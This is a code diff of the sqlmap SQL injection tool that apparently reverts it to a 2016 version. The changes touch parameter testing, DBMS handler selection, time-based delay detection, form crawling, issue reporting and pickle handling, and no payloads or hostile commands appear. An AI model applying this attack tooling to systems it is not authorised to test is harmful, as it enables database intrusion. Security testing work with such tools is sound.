elif conf.paramExclude and (re.search(conf.paramExclude, parameter, re.I) or kb.postHint and re.search(conf.paramExclude, parameter.split(' ')[-1], re.I)):
|
||||
testSqlInj = False
|
||||
|
||||
infoMsg = "skipping %s parameter '%s'" % (paramType, parameter)
|
||||
logger.info(infoMsg)
|
||||
|
||||
elif parameter == conf.csrfToken:
|
||||
testSqlInj = False
|
||||
|
||||
@@ -493,7 +487,7 @@ def start():
|
||||
check = checkDynParam(place, parameter, value)
|
||||
|
||||
if not check:
|
||||
warnMsg = "%s parameter '%s' does not appear to be dynamic" % (paramType, parameter)
|
||||
warnMsg = "%s parameter '%s' does not appear dynamic" % (paramType, parameter)
|
||||
logger.warn(warnMsg)
|
||||
|
||||
if conf.skipStatic:
|
||||
@@ -668,7 +662,7 @@ def start():
|
||||
_saveToResultsFile()
|
||||
|
||||
errMsg += ", skipping to the next %s" % ("form" if conf.forms else "URL")
|
||||
logger.error(errMsg.lstrip(", "))
|
||||
logger.error(errMsg)
|
||||
else:
|
||||
logger.critical(errMsg)
|
||||
return False
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
|
||||
Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'doc/COPYING' for copying permission
|
||||
"""
|
||||
|
||||
@@ -77,10 +77,18 @@ def setHandler():
|
||||
items.insert(0, _)
|
||||
|
||||
for dbms, aliases, Handler, Connector in items:
|
||||
if conf.dbms and conf.dbms.lower() != dbms and conf.dbms.lower() not in aliases:
|
||||
debugMsg = "skipping test for %s" % dbms
|
||||
logger.debug(debugMsg)
|
||||
continue
|
||||
|
||||
handler = Handler()
|
||||
conf.dbmsConnector = Connector()
|
||||
|
||||
if conf.direct:
|
||||
logger.debug("forcing timeout to 10 seconds")
|
||||
conf.timeout = 10
|
||||
|
||||
dialect = DBMS_DICT[dbms][3]
|
||||
|
||||
if dialect:
|
||||
@@ -102,8 +110,6 @@ def setHandler():
|
||||
conf.dbmsHandler = max(_ for _ in items if _[0] == kb.resolutionDbms)[2]()
|
||||
else:
|
||||
conf.dbmsHandler = handler
|
||||
|
||||
conf.dbmsHandler._dbms = dbms
|
||||
break
|
||||
else:
|
||||
conf.dbmsConnector = None
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
|
||||
Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'doc/COPYING' for copying permission
|
||||
"""
|
||||
|
||||
|
||||
+1
-18
@@ -1,7 +1,7 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
|
||||
Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'doc/COPYING' for copying permission
|
||||
"""
|
||||
|
||||
@@ -529,8 +529,6 @@ class Agent(object):
|
||||
elif fieldsSelect:
|
||||
fieldsToCastStr = fieldsSelect.group(1)
|
||||
|
||||
fieldsToCastStr = fieldsToCastStr or ""
|
||||
|
||||
# Function
|
||||
if re.search("\A\w+\(.*\)", fieldsToCastStr, re.I) or (fieldsSelectCase and "WHEN use" not in query) or fieldsSubstr:
|
||||
fieldsToCastList = [fieldsToCastStr]
|
||||
@@ -1079,20 +1077,5 @@ class Agent(object):
|
||||
|
||||
return query
|
||||
|
||||
def whereQuery(self, query):
|
||||
if conf.dumpWhere and query:
|
||||
prefix, suffix = query.split(" ORDER BY ") if " ORDER BY " in query else (query, "")
|
||||
|
||||
if "%s)" % conf.tbl.upper() in prefix.upper():
|
||||
prefix = re.sub(r"(?i)%s\)" % re.escape(conf.tbl), "%s WHERE %s)" % (conf.tbl, conf.dumpWhere), prefix)
|
||||
elif re.search(r"(?i)\bWHERE\b", prefix):
|
||||
prefix += " AND %s" % conf.dumpWhere
|
||||
else:
|
||||
prefix += " WHERE %s" % conf.dumpWhere
|
||||
|
||||
query = "%s ORDER BY %s" % (prefix, suffix) if suffix else prefix
|
||||
|
||||
return query
|
||||
|
||||
# SQL agent
|
||||
agent = Agent()
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
|
||||
Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'doc/COPYING' for copying permission
|
||||
"""
|
||||
|
||||
|
||||
+55
-178
@@ -1,7 +1,7 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
|
||||
Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'doc/COPYING' for copying permission
|
||||
"""
|
||||
|
||||
@@ -23,7 +23,6 @@ import random
|
||||
import re
|
||||
import socket
|
||||
import string
|
||||
import subprocess
|
||||
import sys
|
||||
import tempfile
|
||||
import time
|
||||
@@ -38,6 +37,8 @@ from StringIO import StringIO
|
||||
from difflib import SequenceMatcher
|
||||
from math import sqrt
|
||||
from optparse import OptionValueError
|
||||
from subprocess import PIPE
|
||||
from subprocess import Popen as execute
|
||||
from xml.dom import minidom
|
||||
from xml.sax import parse
|
||||
from xml.sax import SAXParseException
|
||||
@@ -118,7 +119,6 @@ from lib.core.settings import IP_ADDRESS_REGEX
|
||||
from lib.core.settings import ISSUES_PAGE
|
||||
from lib.core.settings import IS_WIN
|
||||
from lib.core.settings import LARGE_OUTPUT_THRESHOLD
|
||||
from lib.core.settings import LOCALHOST
|
||||
from lib.core.settings import MIN_ENCODED_LEN_CHECK
|
||||
from lib.core.settings import MIN_TIME_RESPONSES
|
||||
from lib.core.settings import MIN_VALID_DELAYED_RESPONSE
|
||||
@@ -140,7 +140,6 @@ from lib.core.settings import REFLECTED_REPLACEMENT_REGEX
|
||||
from lib.core.settings import REFLECTED_VALUE_MARKER
|
||||
from lib.core.settings import REFLECTIVE_MISS_THRESHOLD
|
||||
from lib.core.settings import SENSITIVE_DATA_REGEX
|
||||
from lib.core.settings import SENSITIVE_OPTIONS
|
||||
from lib.core.settings import SUPPORTED_DBMS
|
||||
from lib.core.settings import TEXT_TAG_REGEX
|
||||
from lib.core.settings import TIME_STDEV_COEFF
|
||||
@@ -465,8 +464,6 @@ class Backend:
|
||||
|
||||
if not kb:
|
||||
pass
|
||||
elif not kb.get("testMode") and conf.get("dbmsHandler") and getattr(conf.dbmsHandler, "_dbms", None):
|
||||
dbms = conf.dbmsHandler._dbms
|
||||
elif Backend.getForcedDbms() is not None:
|
||||
dbms = Backend.getForcedDbms()
|
||||
elif Backend.getDbms() is not None:
|
||||
@@ -517,9 +514,10 @@ class Backend:
|
||||
# Comparison methods
|
||||
@staticmethod
|
||||
def isDbms(dbms):
|
||||
if not kb.get("testMode") and all((Backend.getDbms(), Backend.getIdentifiedDbms())) and Backend.getDbms() != Backend.getIdentifiedDbms():
|
||||
singleTimeWarnMessage("identified ('%s') and fingerprinted ('%s') DBMSes differ. If you experience problems in enumeration phase please rerun with '--flush-session'" % (Backend.getIdentifiedDbms(), Backend.getDbms()))
|
||||
return Backend.getIdentifiedDbms() == aliasToDbmsEnum(dbms)
|
||||
if Backend.getDbms() is not None:
|
||||
return Backend.getDbms() == aliasToDbmsEnum(dbms)
|
||||
else:
|
||||
return Backend.getIdentifiedDbms() == aliasToDbmsEnum(dbms)
|
||||
|
||||
@staticmethod
|
||||
def isDbmsWithin(aliases):
|
||||
@@ -590,7 +588,7 @@ def paramToDict(place, parameters=None):
|
||||
or re.search(r'\A9{3,}', _) or re.search(r'\A-\d+\Z', _) or re.search(DUMMY_USER_INJECTION, _))\
|
||||
and not parameter.upper().startswith(GOOGLE_ANALYTICS_COOKIE_PREFIX):
|
||||
warnMsg = "it appears that you have provided tainted parameter values "
|
||||
warnMsg += "('%s') with most likely leftover " % element
|
||||
warnMsg += "('%s') with most probably leftover " % element
|
||||
warnMsg += "chars/statements from manual SQL injection test(s). "
|
||||
warnMsg += "Please, always use only valid parameter values "
|
||||
warnMsg += "so sqlmap could be able to run properly"
|
||||
@@ -614,8 +612,7 @@ def paramToDict(place, parameters=None):
|
||||
candidates = OrderedDict()
|
||||
|
||||
def walk(head, current=None):
|
||||
if current is None:
|
||||
current = head
|
||||
current = current or head
|
||||
if isListLike(current):
|
||||
for _ in current:
|
||||
walk(head, _)
|
||||
@@ -623,15 +620,14 @@ def paramToDict(place, parameters=None):
|
||||
for key in current.keys():
|
||||
value = current[key]
|
||||
if isinstance(value, (list, tuple, set, dict)):
|
||||
if value:
|
||||
walk(head, value)
|
||||
walk(head, value)
|
||||
elif isinstance(value, (bool, int, float, basestring)):
|
||||
original = current[key]
|
||||
if isinstance(value, bool):
|
||||
current[key] = "%s%s" % (str(value).lower(), BOUNDED_INJECTION_MARKER)
|
||||
else:
|
||||
current[key] = "%s%s" % (value, BOUNDED_INJECTION_MARKER)
|
||||
candidates["%s (%s)" % (parameter, key)] = re.sub("(%s\s*=\s*)%s" % (re.escape(parameter), re.escape(testableParameters[parameter])), r"\g<1>%s" % json.dumps(deserialized), parameters)
|
||||
candidates["%s (%s)" % (parameter, key)] = json.dumps(deserialized)
|
||||
current[key] = original
|
||||
|
||||
deserialized = json.loads(testableParameters[parameter])
|
||||
@@ -731,11 +727,7 @@ def getManualDirectories():
|
||||
|
||||
directories = normalizePath(directories)
|
||||
|
||||
if conf.webRoot:
|
||||
directories = [conf.webRoot]
|
||||
infoMsg = "using '%s' as web server document root" % conf.webRoot
|
||||
logger.info(infoMsg)
|
||||
elif directories:
|
||||
if directories:
|
||||
infoMsg = "retrieved the web server document root: '%s'" % directories
|
||||
logger.info(infoMsg)
|
||||
else:
|
||||
@@ -893,12 +885,12 @@ def dataToStdout(data, forceOutput=False, bold=False, content_type=None, status=
|
||||
else:
|
||||
message = data
|
||||
|
||||
try:
|
||||
if hasattr(conf, "api"):
|
||||
sys.stdout.write(message, status, content_type)
|
||||
else:
|
||||
sys.stdout.write(setColor(message, bold))
|
||||
if hasattr(conf, "api"):
|
||||
sys.stdout.write(message, status, content_type)
|
||||
else:
|
||||
sys.stdout.write(setColor(message, bold))
|
||||
|
||||
try:
|
||||
sys.stdout.flush()
|
||||
except IOError:
|
||||
pass
|
||||
@@ -938,26 +930,15 @@ def dataToOutFile(filename, data):
|
||||
retVal = None
|
||||
|
||||
if data:
|
||||
while True:
|
||||
retVal = os.path.join(conf.filePath, filePathToSafeString(filename))
|
||||
retVal = os.path.join(conf.filePath, filePathToSafeString(filename))
|
||||
|
||||
try:
|
||||
with open(retVal, "w+b") as f: # has to stay as non-codecs because data is raw ASCII encoded data
|
||||
f.write(unicodeencode(data))
|
||||
except UnicodeEncodeError, ex:
|
||||
_ = normalizeUnicode(filename)
|
||||
if filename != _:
|
||||
filename = _
|
||||
else:
|
||||
errMsg = "couldn't write to the "
|
||||
errMsg += "output file ('%s')" % getSafeExString(ex)
|
||||
raise SqlmapGenericException(errMsg)
|
||||
except IOError, ex:
|
||||
errMsg = "something went wrong while trying to write "
|
||||
errMsg += "to the output file ('%s')" % getSafeExString(ex)
|
||||
raise SqlmapGenericException(errMsg)
|
||||
else:
|
||||
break
|
||||
try:
|
||||
with open(retVal, "w+b") as f: # has to stay as non-codecs because data is raw ASCII encoded data
|
||||
f.write(unicodeencode(data))
|
||||
except IOError, ex:
|
||||
errMsg = "something went wrong while trying to write "
|
||||
errMsg += "to the output file ('%s')" % getSafeExString(ex)
|
||||
raise SqlmapGenericException(errMsg)
|
||||
|
||||
return retVal
|
||||
|
||||
@@ -1267,7 +1248,7 @@ def parseTargetDirect():
|
||||
remote = False
|
||||
|
||||
for dbms in SUPPORTED_DBMS:
|
||||
details = re.search("^(?P<dbms>%s)://(?P<credentials>(?P<user>.+?)\:(?P<pass>.*)\@)?(?P<remote>(?P<hostname>[\w.-]+?)\:(?P<port>[\d]+)\/)?(?P<db>[\w\d\ \:\.\_\-\/\\\\]+?)$" % dbms, conf.direct, re.I)
|
||||
details = re.search("^(?P<dbms>%s)://(?P<credentials>(?P<user>.+?)\:(?P<pass>.*)\@)?(?P<remote>(?P<hostname>.+?)\:(?P<port>[\d]+)\/)?(?P<db>[\w\d\ \:\.\_\-\/\\\\]+?)$" % dbms, conf.direct, re.I)
|
||||
|
||||
if details:
|
||||
conf.dbms = details.group("dbms")
|
||||
@@ -1349,7 +1330,7 @@ def parseTargetDirect():
|
||||
else:
|
||||
errMsg = "sqlmap requires '%s' third-party library " % data[1]
|
||||
errMsg += "in order to directly connect to the DBMS "
|
||||
errMsg += "'%s'. You can download it from '%s'" % (dbmsName, data[2])
|
||||
errMsg += "%s. You can download it from '%s'" % (dbmsName, data[2])
|
||||
errMsg += ". Alternative is to use a package 'python-sqlalchemy' "
|
||||
errMsg += "with support for dialect '%s' installed" % data[3]
|
||||
raise SqlmapMissingDependence(errMsg)
|
||||
@@ -1498,12 +1479,11 @@ def getLimitRange(count, plusOne=False):
|
||||
count = int(count)
|
||||
limitStart, limitStop = 1, count
|
||||
|
||||
if kb.dumpTable:
|
||||
if isinstance(conf.limitStop, int) and conf.limitStop > 0 and conf.limitStop < limitStop:
|
||||
limitStop = conf.limitStop
|
||||
if isinstance(conf.limitStop, int) and conf.limitStop > 0 and conf.limitStop < limitStop:
|
||||
limitStop = conf.limitStop
|
||||
|
||||
if isinstance(conf.limitStart, int) and conf.limitStart > 0 and conf.limitStart <= limitStop:
|
||||
limitStart = conf.limitStart
|
||||
if isinstance(conf.limitStart, int) and conf.limitStart > 0 and conf.limitStart <= limitStop:
|
||||
limitStart = conf.limitStart
|
||||
|
||||
retVal = xrange(limitStart, limitStop + 1) if plusOne else xrange(limitStart - 1, limitStop)
|
||||
|
||||
@@ -1763,7 +1743,7 @@ def safeStringFormat(format_, params):
|
||||
break
|
||||
return retVal
|
||||
|
||||
def getFilteredPageContent(page, onlyText=True, split=" "):
|
||||
def getFilteredPageContent(page, onlyText=True):
|
||||
"""
|
||||
Returns filtered page content without script, style and/or comments
|
||||
or all HTML tags
|
||||
@@ -1776,10 +1756,10 @@ def getFilteredPageContent(page, onlyText=True, split=" "):
|
||||
|
||||
# only if the page's charset has been successfully identified
|
||||
if isinstance(page, unicode):
|
||||
retVal = re.sub(r"(?si)<script.+?</script>|<!--.+?-->|<style.+?</style>%s" % (r"|<[^>]+>|\t|\n|\r" if onlyText else ""), split, page)
|
||||
while retVal.find(2 * split) != -1:
|
||||
retVal = retVal.replace(2 * split, split)
|
||||
retVal = htmlunescape(retVal.strip().strip(split))
|
||||
retVal = re.sub(r"(?si)<script.+?</script>|<!--.+?-->|<style.+?</style>%s" % (r"|<[^>]+>|\t|\n|\r" if onlyText else ""), " ", page)
|
||||
while retVal.find(" ") != -1:
|
||||
retVal = retVal.replace(" ", " ")
|
||||
retVal = htmlunescape(retVal.strip())
|
||||
|
||||
return retVal
|
||||
|
||||
@@ -1896,7 +1876,7 @@ def getConsoleWidth(default=80):
|
||||
FNULL = open(os.devnull, 'w')
|
||||
except IOError:
|
||||
FNULL = None
|
||||
process = subprocess.Popen("stty size", shell=True, stdout=subprocess.PIPE, stderr=FNULL or subprocess.PIPE)
|
||||
process = execute("stty size", shell=True, stdout=PIPE, stderr=FNULL or PIPE)
|
||||
stdout, _ = process.communicate()
|
||||
items = stdout.split()
|
||||
|
||||
@@ -2335,7 +2315,7 @@ def wasLastResponseDBMSError():
|
||||
|
||||
def wasLastResponseHTTPError():
|
||||
"""
|
||||
Returns True if the last web request resulted in an erroneous HTTP code (like 500)
|
||||
Returns True if the last web request resulted in an errornous HTTP code (like 500)
|
||||
"""
|
||||
|
||||
threadData = getCurrentThreadData()
|
||||
@@ -2353,7 +2333,7 @@ def wasLastResponseDelayed():
|
||||
deviation = stdev(kb.responseTimes.get(kb.responseTimeMode, []))
|
||||
threadData = getCurrentThreadData()
|
||||
|
||||
if deviation and not conf.direct and not conf.disableStats:
|
||||
if deviation and not conf.direct:
|
||||
if len(kb.responseTimes[kb.responseTimeMode]) < MIN_TIME_RESPONSES:
|
||||
warnMsg = "time-based standard deviation method used on a model "
|
||||
warnMsg += "with less than %d response times" % MIN_TIME_RESPONSES
|
||||
@@ -2373,10 +2353,7 @@ def wasLastResponseDelayed():
|
||||
|
||||
return retVal
|
||||
else:
|
||||
delta = threadData.lastQueryDuration - conf.timeSec
|
||||
if Backend.getIdentifiedDbms() in (DBMS.MYSQL,): # MySQL's SLEEP(X) lasts 0.05 seconds shorter on average
|
||||
delta += 0.05
|
||||
return delta >= 0
|
||||
return (threadData.lastQueryDuration - conf.timeSec) >= 0
|
||||
|
||||
def adjustTimeDelay(lastQueryDuration, lowerStdLimit):
|
||||
"""
|
||||
@@ -2423,32 +2400,6 @@ def extractErrorMessage(page):
|
||||
|
||||
return retVal
|
||||
|
||||
def findLocalPort(ports):
|
||||
"""
|
||||
Find the first opened localhost port from a given list of ports (e.g. for Tor port checks)
|
||||
"""
|
||||
|
||||
retVal = None
|
||||
|
||||
for port in ports:
|
||||
try:
|
||||
try:
|
||||
s = socket._orig_socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
except AttributeError:
|
||||
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
s.connect((LOCALHOST, port))
|
||||
retVal = port
|
||||
break
|
||||
except socket.error:
|
||||
pass
|
||||
finally:
|
||||
try:
|
||||
s.close()
|
||||
except socket.error:
|
||||
pass
|
||||
|
||||
return retVal
|
||||
|
||||
def findMultipartPostBoundary(post):
|
||||
"""
|
||||
Finds value for a boundary parameter in given multipart POST body
|
||||
@@ -2615,7 +2566,7 @@ def getPublicTypeMembers(type_, onlyValues=False):
|
||||
retVal = []
|
||||
|
||||
for name, value in inspect.getmembers(type_):
|
||||
if not name.startswith("__"):
|
||||
if not name.startswith('__'):
|
||||
if not onlyValues:
|
||||
retVal.append((name, value))
|
||||
else:
|
||||
@@ -2675,7 +2626,7 @@ def extractTextTagContent(page):
|
||||
except MemoryError:
|
||||
page = page.replace(REFLECTED_VALUE_MARKER, "")
|
||||
|
||||
return filter(None, (_.group("result").strip() for _ in re.finditer(TEXT_TAG_REGEX, page)))
|
||||
return filter(None, (_.group('result').strip() for _ in re.finditer(TEXT_TAG_REGEX, page)))
|
||||
|
||||
def trimAlphaNum(value):
|
||||
"""
|
||||
@@ -2787,11 +2738,11 @@ def removeDynamicContent(page):
|
||||
if prefix is None and suffix is None:
|
||||
continue
|
||||
elif prefix is None:
|
||||
page = re.sub(r"(?s)^.+%s" % re.escape(suffix), suffix.replace('\\', r'\\'), page)
|
||||
page = re.sub(r'(?s)^.+%s' % re.escape(suffix), suffix.replace('\\', r'\\'), page)
|
||||
elif suffix is None:
|
||||
page = re.sub(r"(?s)%s.+$" % re.escape(prefix), prefix.replace('\\', r'\\'), page)
|
||||
page = re.sub(r'(?s)%s.+$' % re.escape(prefix), prefix.replace('\\', r'\\'), page)
|
||||
else:
|
||||
page = re.sub(r"(?s)%s.+%s" % (re.escape(prefix), re.escape(suffix)), "%s%s" % (prefix.replace('\\', r'\\'), suffix.replace('\\', r'\\')), page)
|
||||
page = re.sub(r'(?s)%s.+%s' % (re.escape(prefix), re.escape(suffix)), '%s%s' % (prefix.replace('\\', r'\\'), suffix.replace('\\', r'\\')), page)
|
||||
|
||||
return page
|
||||
|
||||
@@ -3165,16 +3116,7 @@ def unhandledExceptionMessage():
|
||||
errMsg += "Operating system: %s\n" % PLATFORM
|
||||
errMsg += "Command line: %s\n" % re.sub(r".+?\bsqlmap.py\b", "sqlmap.py", getUnicode(" ".join(sys.argv), encoding=sys.stdin.encoding))
|
||||
errMsg += "Technique: %s\n" % (enumValueToNameLookup(PAYLOAD.TECHNIQUE, kb.technique) if kb.get("technique") else ("DIRECT" if conf.get("direct") else None))
|
||||
errMsg += "Back-end DBMS:"
|
||||
|
||||
if Backend.getDbms() is not None:
|
||||
errMsg += " %s (fingerprinted)" % Backend.getDbms()
|
||||
|
||||
if Backend.getIdentifiedDbms() is not None and (Backend.getDbms() is None or Backend.getIdentifiedDbms() != Backend.getDbms()):
|
||||
errMsg += " %s (identified)" % Backend.getIdentifiedDbms()
|
||||
|
||||
if not errMsg.endswith(')'):
|
||||
errMsg += " None"
|
||||
errMsg += "Back-end DBMS: %s" % ("%s (fingerprinted)" % Backend.getDbms() if Backend.getDbms() is not None else "%s (identified)" % Backend.getIdentifiedDbms())
|
||||
|
||||
return errMsg
|
||||
|
||||
@@ -3212,28 +3154,13 @@ def createGithubIssue(errMsg, excMsg):
|
||||
ex = None
|
||||
errMsg = errMsg[errMsg.find("\n"):]
|
||||
|
||||
req = urllib2.Request(url="https://api.github.com/search/issues?q=%s" % urllib.quote("repo:sqlmapproject/sqlmap Unhandled exception (#%s)" % key))
|
||||
|
||||
try:
|
||||
content = urllib2.urlopen(req).read()
|
||||
_ = json.loads(content)
|
||||
duplicate = _["total_count"] > 0
|
||||
closed = duplicate and _["items"][0]["state"] == "closed"
|
||||
if duplicate:
|
||||
warnMsg = "issue seems to be already reported"
|
||||
if closed:
|
||||
warnMsg += " and resolved. Please update to the latest "
|
||||
warnMsg += "development version from official GitHub repository at '%s'" % GIT_PAGE
|
||||
logger.warn(warnMsg)
|
||||
return
|
||||
except:
|
||||
pass
|
||||
|
||||
data = {"title": "Unhandled exception (#%s)" % key, "body": "```%s\n```\n```\n%s```" % (errMsg, excMsg)}
|
||||
req = urllib2.Request(url="https://api.github.com/repos/sqlmapproject/sqlmap/issues", data=json.dumps(data), headers={"Authorization": "token %s" % GITHUB_REPORT_OAUTH_TOKEN.decode("base64")})
|
||||
|
||||
try:
|
||||
content = urllib2.urlopen(req).read()
|
||||
f = urllib2.urlopen(req)
|
||||
content = f.read()
|
||||
except Exception, ex:
|
||||
content = None
|
||||
|
||||
@@ -3262,7 +3189,7 @@ def maskSensitiveData(msg):
|
||||
|
||||
retVal = getUnicode(msg)
|
||||
|
||||
for item in filter(None, map(lambda x: conf.get(x), SENSITIVE_OPTIONS)):
|
||||
for item in filter(None, map(lambda x: conf.get(x), ("hostname", "data", "googleDork", "authCred", "proxyCred", "tbl", "db", "col", "user", "cookie", "proxy", "rFile", "wFile", "dFile"))):
|
||||
regex = SENSITIVE_DATA_REGEX % re.sub("(\W)", r"\\\1", getUnicode(item))
|
||||
while extractRegexResult(regex, retVal):
|
||||
value = extractRegexResult(regex, retVal)
|
||||
@@ -3644,31 +3571,13 @@ def randomizeParameterValue(value):
|
||||
value = re.sub(r"%[0-9a-fA-F]{2}", "", value)
|
||||
|
||||
for match in re.finditer('[A-Z]+', value):
|
||||
while True:
|
||||
original = match.group()
|
||||
candidate = randomStr(len(match.group())).upper()
|
||||
if original != candidate:
|
||||
break
|
||||
|
||||
retVal = retVal.replace(original, candidate)
|
||||
retVal = retVal.replace(match.group(), randomStr(len(match.group())).upper())
|
||||
|
||||
for match in re.finditer('[a-z]+', value):
|
||||
while True:
|
||||
original = match.group()
|
||||
candidate = randomStr(len(match.group())).lower()
|
||||
if original != candidate:
|
||||
break
|
||||
|
||||
retVal = retVal.replace(original, candidate)
|
||||
retVal = retVal.replace(match.group(), randomStr(len(match.group())).lower())
|
||||
|
||||
for match in re.finditer('[0-9]+', value):
|
||||
while True:
|
||||
original = match.group()
|
||||
candidate = str(randomInt(len(match.group())))
|
||||
if original != candidate:
|
||||
break
|
||||
|
||||
retVal = retVal.replace(original, candidate)
|
||||
retVal = retVal.replace(match.group(), str(randomInt(len(match.group()))))
|
||||
|
||||
return retVal
|
||||
|
||||
@@ -3744,7 +3653,7 @@ def asciifyUrl(url, forceQuote=False):
|
||||
|
||||
def isAdminFromPrivileges(privileges):
|
||||
"""
|
||||
Inspects privileges to see if those are coming from an admin user
|
||||
Inspects privileges to see if those are comming from an admin user
|
||||
"""
|
||||
|
||||
# In PostgreSQL the usesuper privilege means that the
|
||||
@@ -3765,6 +3674,7 @@ def isAdminFromPrivileges(privileges):
|
||||
|
||||
# In Firebird there is no specific privilege that means
|
||||
# that the user is DBA
|
||||
# TODO: confirm
|
||||
retVal |= (Backend.isDbms(DBMS.FIREBIRD) and all(_ in privileges for _ in ("SELECT", "INSERT", "UPDATE", "DELETE", "REFERENCES", "EXECUTE")))
|
||||
|
||||
return retVal
|
||||
@@ -3822,11 +3732,6 @@ def findPageForms(content, url, raise_=False, addToTargets=False):
|
||||
item.selected = True
|
||||
break
|
||||
|
||||
if conf.crawlExclude and re.search(conf.crawlExclude, form.action or ""):
|
||||
dbgMsg = "skipping '%s'" % form.action
|
||||
logger.debug(dbgMsg)
|
||||
continue
|
||||
|
||||
request = form.click()
|
||||
except (ValueError, TypeError), ex:
|
||||
errMsg = "there has been a problem while "
|
||||
@@ -3847,7 +3752,7 @@ def findPageForms(content, url, raise_=False, addToTargets=False):
|
||||
continue
|
||||
|
||||
# flag to know if we are dealing with the same target host
|
||||
_ = checkSameHost(response.geturl(), url)
|
||||
_ = reduce(lambda x, y: x == y, map(lambda x: urlparse.urlparse(x).netloc.split(':')[0], (response.geturl(), url)))
|
||||
|
||||
if conf.scope:
|
||||
if not re.search(conf.scope, url, re.I):
|
||||
@@ -3870,23 +3775,6 @@ def findPageForms(content, url, raise_=False, addToTargets=False):
|
||||
|
||||
return retVal
|
||||
|
||||
def checkSameHost(*urls):
|
||||
"""
|
||||
Returns True if all provided urls share that same host
|
||||
|
||||
>>> checkSameHost('http://www.target.com/page1.php?id=1', 'http://www.target.com/images/page2.php')
|
||||
True
|
||||
>>> checkSameHost('http://www.target.com/page1.php?id=1', 'http://www.target2.com/images/page2.php')
|
||||
False
|
||||
"""
|
||||
|
||||
if not urls:
|
||||
return None
|
||||
elif len(urls) == 1:
|
||||
return True
|
||||
else:
|
||||
return all(urlparse.urlparse(url or "").netloc.split(':')[0] == urlparse.urlparse(urls[0] or "").netloc.split(':')[0] for url in urls[1:])
|
||||
|
||||
def getHostHeader(url):
|
||||
"""
|
||||
Returns proper Host header value for a given target URL
|
||||
@@ -3956,13 +3844,6 @@ def evaluateCode(code, variables=None):
|
||||
def serializeObject(object_):
|
||||
"""
|
||||
Serializes given object
|
||||
|
||||
>>> serializeObject([1, 2, 3, ('a', 'b')])
|
||||
'gAJdcQEoSwFLAksDVQFhVQFihnECZS4='
|
||||
>>> serializeObject(None)
|
||||
'gAJOLg=='
|
||||
>>> serializeObject('foobar')
|
||||
'gAJVBmZvb2JhcnEBLg=='
|
||||
"""
|
||||
|
||||
return base64pickle(object_)
|
||||
@@ -3973,8 +3854,6 @@ def unserializeObject(value):
|
||||
|
||||
>>> unserializeObject(serializeObject([1, 2, 3])) == [1, 2, 3]
|
||||
True
|
||||
>>> unserializeObject('gAJVBmZvb2JhcnEBLg==')
|
||||
'foobar'
|
||||
"""
|
||||
|
||||
return base64unpickle(value) if value else None
|
||||
@@ -4021,8 +3900,6 @@ def decodeHexValue(value, raw=False):
|
||||
|
||||
>>> decodeHexValue('3132332031')
|
||||
u'123 1'
|
||||
>>> decodeHexValue(['0x31', '0x32'])
|
||||
[u'1', u'2']
|
||||
"""
|
||||
|
||||
retVal = value
|
||||
|
||||
Executable → Regular
+8
-17
@@ -1,19 +1,13 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
|
||||
Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'doc/COPYING' for copying permission
|
||||
"""
|
||||
|
||||
try:
|
||||
import cPickle as pickle
|
||||
except:
|
||||
import pickle
|
||||
finally:
|
||||
import pickle as picklePy
|
||||
|
||||
import base64
|
||||
import json
|
||||
import pickle
|
||||
import re
|
||||
import StringIO
|
||||
import sys
|
||||
@@ -47,7 +41,7 @@ def base64pickle(value):
|
||||
Serializes (with pickle) and encodes to Base64 format supplied (binary) value
|
||||
|
||||
>>> base64pickle('foobar')
|
||||
'gAJVBmZvb2JhcnEBLg=='
|
||||
'gAJVBmZvb2JhcnEALg=='
|
||||
"""
|
||||
|
||||
retVal = None
|
||||
@@ -66,11 +60,11 @@ def base64pickle(value):
|
||||
|
||||
return retVal
|
||||
|
||||
def base64unpickle(value, unsafe=False):
|
||||
def base64unpickle(value):
|
||||
"""
|
||||
Decodes value from Base64 to plain format and deserializes (with pickle) its content
|
||||
|
||||
>>> base64unpickle('gAJVBmZvb2JhcnEBLg==')
|
||||
>>> base64unpickle('gAJVBmZvb2JhcnEALg==')
|
||||
'foobar'
|
||||
"""
|
||||
|
||||
@@ -84,12 +78,9 @@ def base64unpickle(value, unsafe=False):
|
||||
self.load_reduce()
|
||||
|
||||
def loads(str):
|
||||
f = StringIO.StringIO(str)
|
||||
if unsafe:
|
||||
unpickler = picklePy.Unpickler(f)
|
||||
unpickler.dispatch[picklePy.REDUCE] = _
|
||||
else:
|
||||
unpickler = pickle.Unpickler(f)
|
||||
file = StringIO.StringIO(str)
|
||||
unpickler = pickle.Unpickler(file)
|
||||
unpickler.dispatch[pickle.REDUCE] = _
|
||||
return unpickler.load()
|
||||
|
||||
try:
|
||||
|
||||
+1
-1
@@ -1,7 +1,7 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
|
||||
Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'doc/COPYING' for copying permission
|
||||
"""
|
||||
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
